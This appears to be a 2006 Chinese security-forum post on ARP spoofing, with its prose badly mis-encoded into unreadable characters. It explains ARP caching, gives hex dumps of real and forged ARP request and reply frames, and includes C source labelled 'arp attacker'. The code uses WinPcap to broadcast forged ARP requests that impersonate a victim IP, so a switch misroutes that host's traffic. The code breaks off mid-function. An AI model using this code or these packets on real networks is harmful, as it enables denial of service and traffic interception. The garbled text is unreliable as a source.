锘??xml version="1.0" encoding="utf-8" standalone="yes"?>
]]>
]]>
]]>
浣?鑰?
enolaZ
鏃?闂? 2006-10-20,13:25
閾?鎺? http://bbs.pediy.com/showthread.php?threadid=33573
鍓嶆鏃墮棿鎴戜滑瀛︽牎鐨勭殑緗戠粶鎬繪槸鍑虹幇鎺夌嚎鐨勯棶棰橈紝鍚庢潵璇存槸ARP嬈洪獥錛岃鎴戜滑鐢ˋNTIARPSNIFFER銆傚皬寮熶笉鎵嶏紝
涔熸兂鎼炴竻妤氳繖涓狝RP嬈洪獥鍒板簳鏄釜浠涔堜笢瑗褲備簬鏄湪緗戜笂鏌ヤ簡鐐硅祫鏂欙紝鐪嬩簡鐐規枃妗c備篃綆楁槸DIY浜嗕竴涓嚭鏉ワ紝鑰?br />
涓斿彲浠ヤ笉琚獳NTIARPSNIFFER鍙戠幇鐨勮瀵規柟涓繪満鍦ㄧ綉緇滀腑姝繪帀銆備簬鏄妸榪欎釜灝忎笢瑗胯創鍑烘潵璁╁ぇ瀹朵竴璧鋒妸鐜╀竴涓嬨?br />聽聽聽鍦ㄤ笅鑿滈笩涓鍙紝榪樿楂樻墜鎸囨暀
鍙傝冭祫鏂欙細銆奣CP/IP璇﹁ВII錛氬疄鐜般嬶紝銆奧INPCAP聽3.0聽DOC銆?銆婁氦鎹㈢綉緇滀腑鐨勫梾鎺㈠拰ARP嬈洪獥銆嬶紙涓浣嶅彨RefDom
鐨勫ぇ鍝ュ緢涔呭墠鍐欑殑甯栧瓙錛?br />
聽聽聽涓鑸湪灞鍩熺綉涓殑鍚勪富鏈轟竴鑸兘鏄繛鎺ュ埌鍚屼竴涓氦鎹㈡満錛堟垨鏄疕UB錛夛紝鍐嶇敱浜ゆ崲鏈鴻繛鎺ヨ礬鐢卞櫒錛岃礬鐢卞櫒鍐嶄笌
鐩稿浜庤灞鍩熺綉鐨勫閮ㄧ綉緇滅浉榪炪傚湪鎴戜滑鐨勪富鏈哄拰浜ゆ崲鏈虹殑鍐呭瓨涓紝閮戒繚鐣欑潃涓寮燗RP鐨勭紦瀛樿〃錛堜綘鍙互鍦╟md
涓嬬敤arp聽-a鏉ユ煡鐪嬶級錛屽畠璁板綍鐫IP鍦板潃鍜孧AC鍦板潃鐨勫搴斿叧緋匯傚綋澶栭儴緗戠粶鐨勪竴涓寘浼犺繘鏉ワ紝浜ゆ崲鏈洪氳繃榪欎釜鍖?br />
鐨処P鍦板潃錛屽湪浠栫殑ARP緙撳瓨琛ㄤ腑鏌ユ壘鍏跺搴旂殑MAC鍦板潃錛堝洜涓轟氦鎹㈡満鏄伐浣滃湪閾捐礬灞傜殑錛屾墍浠ヤ粬鍙細鏍規嵁MAC鍦板潃
鏉ュ垽鏂槸鍝釜涓繪満錛夛紝褰撴壘鍒版椂錛屼粬灝辨妸榪欎釜鍖呬紶緇欐嫢鏈夎繖涓狹AC鍦板潃鐨勪富鏈恒傚綋涓繪満鍚戝閮ㄧ綉緇滈氫俊鐨勬椂鍊欙紝
涓繪満鏌ヨ鑷繁鐨凙RP緙撳瓨琛ㄩ噷緗戝叧錛堝湪榪欓噷灝辨槸浜ゆ崲鏈猴級錛堣繖涓綉鍏蟲槸鐢↖P鍦板潃紜畾鐨勶級鐨凪AC鍦板潃錛岀劧鍚庡皢鍖?br />
浼犵粰浜ゆ崲鏈猴紝浜ゆ崲鏈轟竴鐪嬫槸瀹冪殑MAC鍦板潃錛屽氨鎶婅繖涓寘寰涓婁紶緇欒礬鐢卞櫒銆?br />聽聽聽鎴戜滑鍙互鎶奍P姣斿仛濮撳悕錛屾妸MAC鍦板潃姣斿仛鑱旂郴鏂瑰紡
聽聽聽褰撲富鏈鴻繛鎺ヤ笂緗戠粶鏃訛紝浠栦細鍙戦佷竴涓箍鎾紙ARP聽REQUEST錛夎錛氬ぇ瀹跺ソ錛屾垜鏄疘P聽xxx,榪欐槸鎴戠殑MAC鍦板潃aaa錛?br />
澶у浠ュ悗鐢ㄤ粬鑱旂郴錛屽彨IP聽YYY鐨勭綉鍏沖ぇ鍝ョ殑MAC鍦板潃鏄灝戝晩聽錛屽皬寮熶互鍚庢壘榪樿鎷滄墭澶у摜浜嗭紝璁頒釜鑱旂郴鏂瑰紡鍏垀
聽聽聽鐒跺悗緗戝叧IP聽YYY鍛婅瘔IP聽XXX璇達紙ARP聽REPLY錛夛細鎴戝氨鏄綉鍏矷P聽XXX錛屾垜宸茬粡璁頒笅浜嗕綘IP鍜屼綘鐨凪AC鍦板潃錛屾垜鐨?br />
MAC鍦板潃鏄痗cc錛屼互鍚庢湁浜嬭仈緋伙紝鍒姘攡
聽聽聽鐜板湪錛屽亣濡傚嚭鐜頒簡涓浜涗笉鏄庡師鍥犵殑閿欒錛屼富鏈篈涓殑arp緙撳瓨琛ㄤ腑緗戝叧IP聽YYY瀵瑰簲鐨凪AC鍦板潃涓嶆槸緗戝叧鐨勶紝鑰?br />
鏄彟涓鍙頒富鏈築鐨勶紙BBB錛夛紝閭d箞褰撲富鏈篈鍙戦佷簡涓涓寘鏃訛紝浠栨煡璇㈣嚜宸辯殑ARP緙撳瓨琛紝鎶婁富鏈築鐨凪AC鍦板潃濉湪浜?br />
緗戝叧鐨勫湴鏂癸紝鐒跺悗鎶婂寘鍙戜簡鍑哄幓錛屼氦鎹㈡満涓鐪嬭繖涓狹AC鍦板潃錛屽績鎯寵繖涓嶆槸緇欐垜鐨勫皬寮烞鐨勫悧錛屼簬鏄妸榪欎釜鍖呭彂緇?br />
浜嗗唴緗戜腑鐨凚錛岃屼富鏈篈鍗翠笉鐭ラ亾榪欎釜鍖呭凡緇忚糠澶卞湪浜嗙綉緇滀腑銆?br />聽聽鍐嶅亣璁懼彟涓涓敊璇紝鐜板湪涓繪満涓殑arp緙撳瓨琛ㄦ病閿欙紝鑰屼氦鎹㈡満鐨勭紦瀛橀敊浜嗭紝涓繪満A鐨処P瀵瑰簲鐨凪AC鍦板潃涓婂~鐨勬槸
涓繪満B鐨勶紒錛岄偅涔堝綋澶栭儴緗戠粶鐨勪竴涓彂緇欎富鏈篈鐨勫寘鍒拌揪浜ゆ崲鏈虹殑鏃跺欙紝浜ゆ崲鏈烘煡鑷繁鐨凙RP緙撳瓨琛紝涓鐪嬭繖涓狪P
錛圓鐨勶級瀵瑰簲浜嗚嚜宸卞唴緗戜腑涓涓富鏈虹殑MAC鍦板潃聽錛圔鐨勶級錛屼簬鏄氨鎶婅繖涓寘浼犵粰浜嗘嫢鏈夎繖涓狹AC鍦板潃鐨凚錛岃屼笉鏄疉
錛?br />聽聽聽鍙﹀榪樻湁涓鐐瑰緢閲嶈鐨勬槸錛孉RP鍗忚涓紝鏃犺涓繪満A鏈夋病鏈塕EQUEST鎴栨槸宸茬粡鏀跺埌浜哛EPLY錛屽綋鍐嶆湁REPLY鏉ョ殑
鏃跺欙紝瀹冮兘浼氳涓嬭繖涓猂EPLY涓殑淇℃伅錛屽茍鏇存柊鑷繁鐨凙RP緙撳瓨銆傚悓鏍蜂氦鎹㈡満錛屼篃鍙鏄湁涓繪満鍙戦丄RP聽REQUEST
錛屼粬灝變細璁頒笅榪欎釜淇℃伅錛屽茍鏇存柊鑷繁鐨凙RP緙撳瓨錛岃屼笉浼氱榪欎釜璇鋒眰鏄鏄敊
聽聽聽鍘熻皡鎴戣浜嗚繖涔堝鏅︽訂鐨勮瘽錛屼絾榪欏喅涓嶆槸搴熻瘽錛屽洜涓烘墍璋撶殑arp嬈洪獥灝辨槸灝嗕笂闈㈡墍璇寸殑涓や釜閿欒浜轟負鐨勯犳垚
銆?br />聽聽絎竴縐嶆楠楁柟娉曪細嬈洪獥涓繪満A璇達紝鎴戞槸緗戝叧IP聽YYY錛屾垜鐨凪AC鍦板潃鏀規垚BBB浜嗭紝浜庢槸涓繪満A灝卞嚭鐜頒簡鎴戜滑鍒氳鐨?br />
絎竴縐嶆儏鍐電殑閿欒銆?br />聽聽絎簩縐嶆楠楁柟娉曪細嬈洪獥浜ゆ崲鏈鴻錛屾垜鏄富鏈篈聽IP聽XXX錛屾垜鐨凪AC鍦板潃鏄疊BB錛屼簬鏄氦鎹㈡満鍑虹幇浜嗘垜浠鐨勭浜?br />
縐嶆儏鍐電殑閿欒銆?br />
聽聽鏃㈢劧瑕侀獥浜哄錛屽氨瑕佽鍒漢鐩鎬俊浣犺鐨勬槸鐪熺殑錛岄鍏堟垜浠絎﹀悎ARP鍖呯殑鏍煎紡錛屽彟澶栨垜浠璁╄鐪熺殑鍦版柟鐪燂紝
榪欐牱鍒漢鎵嶄細鐩鎬俊浣犺鐨勫亣璇濄?br />聽聽鍏堟潵鐪嬩笅ARP鍖呮槸涓粈涔堟牱鐨勶紙TCP/IP璇﹁ВII鍥?1-7鏈夎緇嗚鏄庯紝澶у鍙互鏌ユ煡鐪嬶級
聽typedef聽struct聽ethhdr聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//浠ュお緗戝ご閮紝闀垮害14
{
聽聽unsigned聽char聽dst[6];聽聽聽聽聽聽聽//鐩殑鐨凪AC鍦板潃
聽聽unsigned聽char聽src[6];聽聽聽聽聽聽聽//婧愮殑MAC鍦板潃
聽聽unsigned聽short聽type;聽聽聽聽聽聽聽聽//甯х被鍨?br />}ETHHDR,*PETHDHR;
typedef聽struct聽eth_arphdr聽聽聽聽聽聽聽聽聽聽聽//浠ュお緗慳rp瀛楁闀垮害28
{
聽聽unsigned聽short聽arp_hrd;聽聽聽聽聽//紜歡綾誨瀷
聽聽unsigned聽short聽arp_pro;聽聽聽聽聽//鍗忚綾誨瀷
聽聽unsigned聽char聽聽arp_hln;聽聽聽聽聽//紜歡鍦板潃闀垮害錛?錛?br />聽聽unsigned聽char聽聽arp_pln;聽聽聽聽聽//鍗忚鍦板潃闀垮害錛?錛?br />聽聽聽聽聽聽聽聽unsigned聽short聽arp_op;聽聽聽聽聽聽//鍥炲簲榪樻槸璇鋒眰
聽
聽聽unsigned聽char聽arp_sha[6];聽聽聽//鍙戦佽匨AC鍦板潃
聽聽unsigned聽long聽arp_spa;聽聽聽聽聽聽//鍙戦佽匢P
聽聽unsigned聽char聽arp_tha[6];聽聽聽//鎺ユ敹鑰匨AC鍦板潃
聽聽unsigned聽long聽arp_tpa;聽聽聽聽聽聽//鎺ユ敹鑰匢P
}ETH_ARPHDR,*PETH_ARPHDR;
typedef聽struct聽arp聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//鏁翠釜ARP鍖呯殑緇撴瀯
{
聽聽聽聽ETHHDR聽ethhdr;
聽聽聽聽ETH_ARPHDR聽eth_arp;
}ARP,*PARP;聽聽
聽聽鐜板湪鎴戜滑鍐嶆潵鐪嬩笅arp聽request聽鍜宎rp聽reply鍒板簳鏄釜浠涔堟牱瀛愩?br />聽聽鎴戞墦寮浜唚inpcap聽devlopment聽pack涓殑涓涓緥瀛愮▼搴廡estApp,浠栧甫鏈夊緢綆鍗曠殑鍡呮帰鍔熻兘錛岀劧鍚庢垜鐢?br />arp聽-d聽10.10.63.254(鎴戠殑緗戝叧IP鍦板潃錛夛紝娓呴櫎浜嗘垜鐨凙RP緙撳瓨琛ㄤ腑緗戝叧鐨勮褰曪紝榪囦竴涓嬶紝鎴戝啀鐢╝rp聽-a鏌ョ湅鑷?br />
宸辯殑緙撳瓨琛紝緗戝叧鐨処P錛孧AC鍙堝啓涓婃潵浜嗭紝榪欒鏄庝竴嬈EQUEST鍜孯EPLY宸茬粡瀹屾垚銆備簬鏄紝鎴戝湪TestApp鐨勮緭鍑轟腑
鎵懼埌浜嗕粬浠殑鍖呯殑璁板綍錛?br />鎴戠殑IP鍦板潃鏄?0.10.63.37(鍗?a聽0a聽3f聽25),MAC鍦板潃鏄?0聽20聽ED聽89聽53聽B9
鎴戠殑緗戝叧鐨処P鍦板潃鏄?0.10.63.254(鍗?a聽0a聽3f聽fe),MAC鍦板潃鏄?0聽11聽5d聽ac聽e8聽00
request鐨勶細闀垮害42
聽聽聽聽FF聽FF聽FF聽FF聽FF聽FF聽00聽20聽ED聽89聽53聽B9聽08聽06聽00聽01聽08聽00聽06聽04聽00聽01聽00聽20聽ED聽89聽53聽B9聽0A聽0A聽3F聽
25聽00聽00聽00聽00聽00聽00聽0A聽0A聽3F聽FE
reply鐨勶細聽聽闀垮害60
聽聽聽聽00聽20聽ED聽89聽53聽B9聽00聽11聽5D聽AC聽E8聽00聽08聽06聽00聽01聽08聽00聽06聽04聽00聽02聽00聽11聽5D聽AC聽E8聽00聽0A聽0A聽3F聽
FE聽00聽20聽ED聽89聽53聽B9聽0A聽0A聽3F聽25聽00聽00聽00聽00聽00....(鍚庨潰閮芥槸鐢?濉厖錛?br />聽
濂戒簡鏍規嵁榪欎袱涓寘錛屾垜浠氨鑳芥瀯閫犳伓鎰忕殑REQUEST鍜孯EPLY錛屽亣濡傛垜浠璁╀竴鍙板唴緗戜腑鐨勪富鏈篊娑堝け錛屽亣璁句粬鐨処P
鏄?0.10.63.123,MAC鍦板潃鏄?1聽22聽33聽44聽55聽66閭d箞鎴戜滑鍙互榪欐牱鏉ユ瀯閫犲寘錛堟垜浠嬌鐢ㄤ竴涓吉閫犵殑MAC鍦板潃錛屾瘮
濡傛槸AA聽BB聽CC聽DD聽EE聽FF
鎭舵剰鐨剅equest:闀垮害42
聽聽聽聽FF聽FF聽FF聽FF聽FF聽FF聽AA聽BB聽CC聽DD聽EE聽FF聽08聽06聽00聽01聽08聽00聽06聽04聽00聽01聽AA聽BB聽CC聽DD聽EE聽FF聽0A聽0A聽3F聽
7B聽00聽00聽00聽00聽00聽00聽0A聽0A聽3F聽FE
褰撲氦鎹㈡満鎺ュ彈浜嗚繖涓姹傚茍鏇存柊浜嗚嚜宸辯殑ARP緙撳瓨鍚庯紝浠諱綍鍙戠粰10.10.63.123鐨勫寘閮戒細杞彂鍒癕AC鍦板潃鏄?br />AA聽BB聽CC聽DD聽EE聽FF鐨勪富鏈猴紙鍋囧榪欎釜涓繪満鎵嶅唴緗戜腑瀛樺湪鐨勮瘽錛?br />鎭舵剰鐨剅eply聽:闀垮害60
聽聽聽聽11聽22聽33聽44聽55聽66聽AA聽BB聽CC聽DD聽EE聽FF聽08聽06聽00聽01聽08聽00聽06聽04聽00聽02聽AA聽BB聽CC聽DD聽EE聽FF聽0A
0A聽3F聽FE聽11聽22聽33聽44聽55聽66聽0A聽0A聽EF聽7B聽00聽00聽00聽00聽00.....錛堝悗闈㈢敤0濉厖錛?br />褰撲富鏈烘帴鍙楀埌浜嗚繖涓寘錛屽茍鏇存柊浜嗚嚜宸辯殑ARP緙撳瓨鍚庯紝浠栨墍鍙戠殑浠諱綍鍖呴兘浼氳漿鍙戠粰鎷ユ湁榪欎釜MAC鍦板潃鐨勪富鏈猴紙鍚?br />
涓婏紝榪欎釜涓繪満蹇呴』瀛樺湪錛夈?br />聽聽聽鐜板湪鍋囧浜ゆ崲鏈哄拰涓繪満閮借嬈洪獥浜嗭紝浜庢槸灝卞嚭鐜頒簡榪欐牱鐨勪竴涓儏鍐碉細涓繪満A鍜屽叾浠栦富鏈烘垨鏄閮ㄧ綉緇滅殑涓鍒?br />
閫氫俊灝遍兘浼氫紶緇欒繖涓吉閫燤AC鐨勪富鏈猴紝鑰屽鏋滆繖涓富鏈哄啀灝嗚繖浜涘寘杞彂緇欏師鏉ョ殑鎺ユ敹鏂圭殑璇濓紝浠栧氨鎴愪簡THE聽
MIDDLE聽MAN錛岃岃繖縐嶆柟寮忎篃姝f槸浜ゆ崲鏈虹綉緇滀腑鐨勫梾鎺㈠師鐞嗕簡銆傛湁鍏磋叮鐨勮瘽錛屽ぇ瀹朵篃鍙互鍐欎釜璇曡瘯~
聽聽聽鐜板湪鍥炲埌鎴戜滑鐨勮瘽棰樹笂鏉ワ紝褰撴垜浠嚜宸辯殑緗戠粶涓嚭鐜頒簡綾諱技鐨勬楠楃殑鏃跺欙紝鎴戜滑搴旇鎬庝箞闃茶寖錛熷緢澶氫漢浼拌
閮戒細鎯沖埌鐢ㄤ笓闂ㄧ殑杞歡錛屾瘮濡侫NTIARPSNIFFER3.0錛岃繖涓蔣浠跺疄闄呮槸灝嗙綉鍏崇殑IP鍦板潃鍜孧AC鍦板潃鐨勫搴斿叧緋葷粦瀹?br />
錛屽綋鎺ュ彈鍒頒竴涓狝RP聽REPLY鏃朵粬浼氭煡鐪嬭繖涓寘涓彂閫佹柟鐨処P鍜孧AC鍦板潃錛屽鏋淚P鏄綉鍏崇殑錛岃孧AC鍦板潃涓嶆槸錛岄偅浠?br />
灝辮涓鴻繖鏄釜ARP嬈洪獥錛屼簬鏄褰曡繖涓亣鐨凪AC鍦板潃錛堝綋鐒舵垜浠彲浠ヤ吉閫狅紝濡傛灉浣犳兂鏋剁ジ浜虹殑璇濓紝涔熷彲浠ュ~鍒漢
鐨?..,浣嗗鏋滀綘鏄兂鍡呮帰錛堝嵆鏄綘鑷繁鐨凪AC鍦板潃錛夛紝閭d箞浣犲彲鑳戒細鍦ㄦ煇澶╄涓緹や漢鎶撳嚭鍘繪毚鎵撲竴欏?..錛屼負浠
涔堟垜浠敓媧葷殑涓栫晫榪欎箞鏆村姏錛屼笉鑳藉拰騫寵В鍐沖憿錛熼...鎴戣澶у摜浠悆欏塊キ鎬庝箞鏍鳳紵錛燂級
聽聽聽ANTIARPSNIFFER鍙互鏈夋晥鐨勯樆姝㈠彂閫佺粰涓繪満鐨勬楠桼EPLY錛屼絾浠栨棤娉曢樆姝㈠彂閫佺粰浜ゆ崲鏈虹殑嬈洪獥REQUEST錛屽洜姝?br />
涔熷氨鏃犳硶鎹曡幏鎭舵剰鏀誨嚮鑰呯殑MAC鍦板潃錛屾墍浠ユ垜涓漢璁や負绔欏湪鏀誨嚮鐨勮搴︼紝絎簩縐嶆楠楁柟寮忚姣旂涓縐嶆潵鐨勬洿鍔犳湁
鏁堝拰涓嶆槗琚彂鐜幫紝姣曠珶璋佺殑浼氬叧娉ㄨ嚜韜殑瀹夊叏錛屽嵈寰寰蹇借紺句細鏁翠綋鐨勫畨鍏ㄩ殣鎮?...瑕佹兂瑙e喅榪欎釜闂錛屽氨蹇?br />
欏繪妸浜ゆ崲鏈虹殑ARP緙撳瓨璁句負闈欐侊紙鍗沖皢IP鍜孧AC鐨勫搴斿叧緋婚攣姝伙級錛堜嬌鐢ˋRP聽-S錛夋潵瑙e喅銆傜劧鑰岋紝瀵逛簬涓繪満浣跨敤
DHCP鍔ㄦ佽幏鍙朓P鐨勭綉緇滐紙姣斿鎴戜滑瀛︽牎鐨勭綉緇滐級錛岀敱浜嶪P涓嶮AC鍦板潃鏃犳硶鍦ㄩ暱鏃墮棿鍐呬繚鎸佷竴鑷達紝鍥犳浜ゆ崲鏈虹殑
ARP緙撳瓨琛ㄥ繀欏繪槸鍙洿鏂扮殑錛堝嵆鍔ㄦ侊級錛屼簬鏄浜庤繖縐嶇綉緇滐紝鍙戦佹楠桼EQUEST緇欎氦鎹㈡満鐨勬敾鍑繪柟寮忓皢鏄棤娉曡В
鍐崇殑....
聽聽聽涔熸鍥犱負姝わ紝鎴戞墍緙栧啓鐨勪竴涓祴璇曠▼搴忔槸鍩轟簬絎簩縐嶆敾鍑繪柟寮忥紙鍗沖彂閫佸姞鐨凙RP聽REQUEST璇鋒眰緇欎氦鎹㈡満錛夈?br />
鐢變簬鏄祴璇曠▼搴忥紝鎴戞妸涓鍒囧彲鑳藉嚭閿欑殑閮ㄥ垎閮藉仛浜嗘渶綆鍖栦互鏂逛究璋冭瘯錛岀▼搴忕浉褰撶畝闄嬶紝涓嶈繃浠嶇劧寰堟湁鏁堛?br />鍙﹀瑕佽鏄庣殑鏄紝鎴戝畨瑁呬簡WINPCAP聽3.0(涓涓狾PEN聽SOURCE鐨勭綉鍗¢┍鍔ㄩ」鐩級鍜屼粬鐨勫紑鍙戝寘銆傚茍鍙傝冧簡WINPCAP
DOC涓殑紼嬪簭鍜孯efDom澶у摜鍦ㄥ笘瀛愰噷鐨勭▼搴忥紝褰撶劧榪樻湁浼熷ぇ鐨刉.Richard.Stevens鐨勩奣CP/IP璇﹁ВII瀹炵幇銆嬬21
绔?br />
/////////////////////////////////////////////////////////////////////////////
//聽聽聽聽arp聽attacker
//聽聽聽聽author:enolaZ
//聽聽聽聽e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma聽comment(lib,"ws2_32")
#pragma聽comment(lib,"packet")
#define聽EPT_ARP聽0x0806聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//瀹氫箟浜嗕竴浜涘湪鏋勯犲寘鐨勬椂鍊欒鐢ㄥ埌鐨勫父閲?br />#define聽EPT_IP聽0x0800
#define聽ARP_HARDWARE聽0X0001
#define聽ARP_REPLY聽0x0002
#define聽ARP_REQUEST聽0x0001
#pragma聽pack(push,1)聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//鍦ㄥ畾涔夌粨鏋勭殑鏃跺欎竴欏惰鐢ㄥ埌pack(push,1)鍜屼笅闈㈢殑pack(pop)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//鍚﹀垯浣犳瀯閫犵殑緇撴瀯鐨勯暱搴︿細鏈夐棶棰?br />
typedef聽struct聽ethhdr聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//浠ュお緗戝ご閮紝闀垮害14
{
聽聽unsigned聽char聽dst[6];聽聽聽聽聽聽聽//鐩殑鐨凪AC鍦板潃
聽聽unsigned聽char聽src[6];聽聽聽聽聽聽聽//婧愮殑MAC鍦板潃
聽聽unsigned聽short聽type;聽聽聽聽聽聽聽聽//甯х被鍨?br />}ETHHDR,*PETHDHR;
typedef聽struct聽eth_arphdr聽聽聽聽聽聽聽聽聽聽聽//浠ュお緗慳rp瀛楁闀垮害28
{
聽聽unsigned聽short聽arp_hrd;聽聽聽聽聽//紜歡綾誨瀷
聽聽unsigned聽short聽arp_pro;聽聽聽聽聽//鍗忚綾誨瀷
聽聽unsigned聽char聽聽arp_hln;聽聽聽聽聽//紜歡鍦板潃闀垮害錛?錛?br />聽聽unsigned聽char聽聽arp_pln;聽聽聽聽聽//鍗忚鍦板潃闀垮害錛?錛?br />聽聽聽聽聽聽聽聽unsigned聽short聽arp_op;聽聽聽聽聽聽//鍥炲簲榪樻槸璇鋒眰
聽
聽聽unsigned聽char聽arp_sha[6];聽聽聽//鍙戦佽匨AC鍦板潃
聽聽unsigned聽long聽arp_spa;聽聽聽聽聽聽//鍙戦佽匢P
聽聽unsigned聽char聽arp_tha[6];聽聽聽//鎺ユ敹鑰匨AC鍦板潃
聽聽unsigned聽long聽arp_tpa;聽聽聽聽聽聽//鎺ユ敹鑰匢P
}ETH_ARPHDR,*PETH_ARPHDR;
typedef聽struct聽arp聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//鏁翠釜ARP鍖呯殑緇撴瀯
{
聽聽ETHHDR聽ethhdr;
聽聽聽聽ETH_ARPHDR聽eth_arp;
}ARP,*PARP;
#pragma聽pack(pop)
#define聽Max_Num_Adapter聽10
char聽聽聽聽聽聽聽聽AdapterList[Max_Num_Adapter][1024];聽聽//瀹氫箟鐨勭綉緇滈傞厤鍣ㄥ垪琛?br />
int聽main聽(int聽argc,char*聽argv[])
{
聽聽LPADAPTER聽聽lpAdapter聽=聽0;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽
聽聽LPPACKET聽聽聽lpPacket;
聽聽int聽聽聽聽聽聽聽聽i;
聽聽DWORD聽聽聽聽聽聽dwErrorCode;
聽聽WCHAR聽聽聽聽聽AdapterName[8192];聽
聽聽WCHAR聽聽聽聽聽*temp,*temp1;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//灝咥dapterNames鐨勫唴瀹硅漿瀛樺埌AdapterList鏃剁敤
聽聽int聽聽聽聽聽AdapterNum=0;
聽聽ULONG聽聽聽聽聽AdapterLength;
聽聽ARP聽arpPacket;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//瀹氫箟鐨勫寘緇撴瀯瀹炰緥
聽聽char聽szPktBuf[256000];聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//鐢ㄤ簬瀛樻斁鍖呯殑鍐呭
聽聽聽聽聽聽聽聽printf("%d\n",sizeof(ETHHDR));聽聽聽聽聽聽聽聽聽聽聽//榪?琛屾槸鎴戝湪嫻嬭瘯緇撴瀯闀垮害鏃剁敤鐨勶紝濡傛灉娌℃湁浣跨敤涔?br />聽聽printf("%d\n",sizeof(ETH_ARPHDR));聽聽聽聽聽聽聽//鍓嶈鐨刾ack(push,1),pack(pop錛夐暱搴﹀氨鎴愪簡14錛?2
聽聽printf("%d\n",sizeof(ARP));聽聽聽聽聽聽聽聽聽聽聽聽聽聽//48錛屼笌鎴戜滑鐨刟rp鍖呯殑鏍煎紡涓嶇
聽聽i=0;聽聽
聽聽AdapterLength聽=聽sizeof(AdapterName);
聽聽if(PacketGetAdapterNames((char聽*)AdapterName,&AdapterLength)==FALSE)//鑾峰彇鎵鏈夌綉緇滈傞厤鍣?br />聽聽{
聽聽聽聽printf("Unable聽to聽retrieve聽the聽list聽of聽the聽adapters!\n");
聽聽聽聽return聽-1;
聽聽}
聽聽temp=AdapterName;
聽聽temp1=AdapterName;
聽聽while聽((*temp!='\0')||(*(temp-1)!='\0'))聽聽聽聽聽聽聽聽聽聽//灝咥dapterNames鐨勫唴瀹硅漿瀛樺埌AdapterList
聽聽{
聽聽聽聽if聽(*temp=='\0')聽
聽聽聽聽{
聽聽聽聽聽聽memcpy(AdapterList[i],temp1,(temp-temp1)*2);
聽聽聽聽聽聽temp1=temp+1;
聽聽聽聽聽聽i++;
聽聽聽聽}
聽聽聽聽temp++;
聽聽}
聽聽聽聽
聽聽AdapterNum=i;
聽聽for聽(i=0;i<AdapterNum;i++)
聽聽聽聽wprintf(L"\n%d-聽%s\n",i+1,AdapterList[i]);聽//杈撳嚭鑾峰緱鐨勬墍鏈夌綉緇滈傞厤鍣?br />聽聽printf("\n");聽聽
聽聽
聽聽lpAdapter聽=聽聽聽PacketOpenAdapter(AdapterList[0]);聽聽聽//寰楀埌瀵瑰簲緗戠粶閫傞厤鍣ㄧ殑_Adapter緇撴瀯,鎴懧犅?br />
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//灝變竴涓綋鐒舵槸0浜喡犅?br />聽聽if聽(!lpAdapter聽||聽(lpAdapter->hFile聽==聽INVALID_HANDLE_VALUE))
聽聽{
聽聽聽聽dwErrorCode=GetLastError();
聽聽聽聽printf("Unable聽to聽open聽the聽adapter,聽Error聽Code聽:聽%lx\n",dwErrorCode);聽
聽聽聽聽return聽-1;
聽聽}聽聽
聽聽聽聽聽聽聽聽lpPacket=PacketAllocatePacket();聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//寰楀埌涓涓寘鐨刜Packet緇撴瀯
聽聽if(lpPacket==NULL)
聽聽{
聽聽聽聽printf("alloc聽lppacket聽failed");
聽聽聽聽return聽-1;
聽聽}
聽聽聽聽聽聽聽聽ZeroMemory(szPktBuf,sizeof(szPktBuf));聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//灝嗗寘鐨勭紦瀛樺尯娓呯┖
聽聽arpPacket.ethhdr.dst[0]=0xff;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//寮濮嬪~鍏呭寘緇撴瀯arpPacket
聽聽聽聽聽聽聽聽arpPacket.ethhdr.dst[1]=0xff;
聽聽arpPacket.ethhdr.dst[2]=0xff;
聽聽arpPacket.ethhdr.dst[3]=0xff;
聽聽arpPacket.ethhdr.dst[4]=0xff;
聽聽arpPacket.ethhdr.dst[5]=0xff;
聽聽arpPacket.ethhdr.src[0]=0x00;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//涓涓吉閫犵殑MAC鍦板潃
聽聽聽聽聽聽聽聽arpPacket.ethhdr.src[1]=0x20;
聽聽arpPacket.ethhdr.src[2]=0xce;
聽聽arpPacket.ethhdr.src[3]=0xa8;
聽聽arpPacket.ethhdr.src[4]=0x54;
聽聽arpPacket.ethhdr.src[5]=0x33;
聽聽arpPacket.ethhdr.type=htons(EPT_ARP);
聽聽arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
聽聽arpPacket.eth_arp.arp_pro=htons(EPT_IP);
聽聽arpPacket.eth_arp.arp_hln=6;
聽聽arpPacket.eth_arp.arp_pln=4;
聽聽arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);
聽聽arpPacket.eth_arp.arp_sha[0]=0x00;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//浠嶇劧鏄亣鐨凪AC鍦板潃
聽聽arpPacket.eth_arp.arp_sha[1]=0x20;
聽聽arpPacket.eth_arp.arp_sha[2]=0xce;
聽聽arpPacket.eth_arp.arp_sha[3]=0xa8;
聽聽arpPacket.eth_arp.arp_sha[4]=0x54;
聽聽arpPacket.eth_arp.arp_sha[5]=0x33;
聽聽arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");聽聽聽//鍐掑厖瀵硅薄鐨処P
聽聽聽聽聽聽聽聽arpPacket.eth_arp.arp_tha[0]=0x00;
聽聽arpPacket.eth_arp.arp_tha[1]=0x00;
